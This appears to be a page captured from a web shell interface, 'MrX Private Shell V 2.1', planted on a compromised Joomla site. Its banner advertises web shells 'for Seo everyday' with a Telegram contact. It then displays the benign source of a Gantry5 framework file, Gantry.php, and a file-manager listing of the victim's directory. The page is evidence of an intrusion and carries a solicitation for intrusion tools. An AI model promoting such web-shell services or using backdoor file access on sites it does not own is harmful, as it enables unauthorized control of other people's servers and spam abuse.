__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Gantry5
* @author Tiger12 http://tiger12.com
* @originalCreator RocketTheme (Gantry Framework)
* @currentDeveloper Tiger12, LLC
* @copyright Copyright (C) 2007 - 2021 Tiger12, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Framework;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
/**
* Class Gantry
* @package Gantry\Framework
*/
class Gantry extends Base\Gantry
{
/**
* @return bool
*/
public function debug()
{
return JDEBUG;
}
/**
* @return bool
*/
public function admin()
{
/** @var CMSApplication $application */
$app = Factory::getApplication();
return $app->isClient('administrator');
}
/**
* @param string $location
* @param bool $force
* @return array
*/
public function styles($location = 'head', $force = false)
{
// Do not display head, Joomla will take care of it (most of the time).
return (!$force && $location === 'head') ? [] : parent::styles($location);
}
/**
* @param string $location
* @param bool $force
* @return array
*/
public function scripts($location = 'head', $force = false)
{
// Do not display head, Joomla will take care of it (most of the time).
return (!$force && $location === 'head') ? [] : parent::scripts($location);
}
/**
* @return array
*/
protected function loadGlobal()
{
$global = null;
/** @var CMSApplication $app */
$app = Factory::getApplication();
// Trigger the event.
$app->triggerEvent('onGantryGlobalConfig', ['global' => &$global]);
return $global;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Base | Folder | 0775 |
|
|
| Markdown | Folder | 0775 |
|
|
| Services | Folder | 0775 |
|
|
| Assignments.php | File | 6.82 KB | 0664 |
|
| Atoms.php | File | 9.39 KB | 0664 |
|
| Configurations.php | File | 545 B | 0664 |
|
| Document.php | File | 12.31 KB | 0664 |
|
| Exception.php | File | 1.23 KB | 0664 |
|
| Exporter.php | File | 18.69 KB | 0664 |
|
| Gantry.php | File | 1.76 KB | 0664 |
|
| Menu.php | File | 28.65 KB | 0664 |
|
| Outlines.php | File | 9.13 KB | 0664 |
|
| Page.php | File | 5.09 KB | 0664 |
|
| Platform.php | File | 22.11 KB | 0664 |
|
| Positions.php | File | 631 B | 0664 |
|
| Request.php | File | 620 B | 0664 |
|
| Site.php | File | 1.39 KB | 0664 |
|
| Theme.php | File | 6.63 KB | 0664 |
|
| ThemeInstaller.php | File | 19.55 KB | 0664 |
|
| Translator.php | File | 804 B | 0664 |
|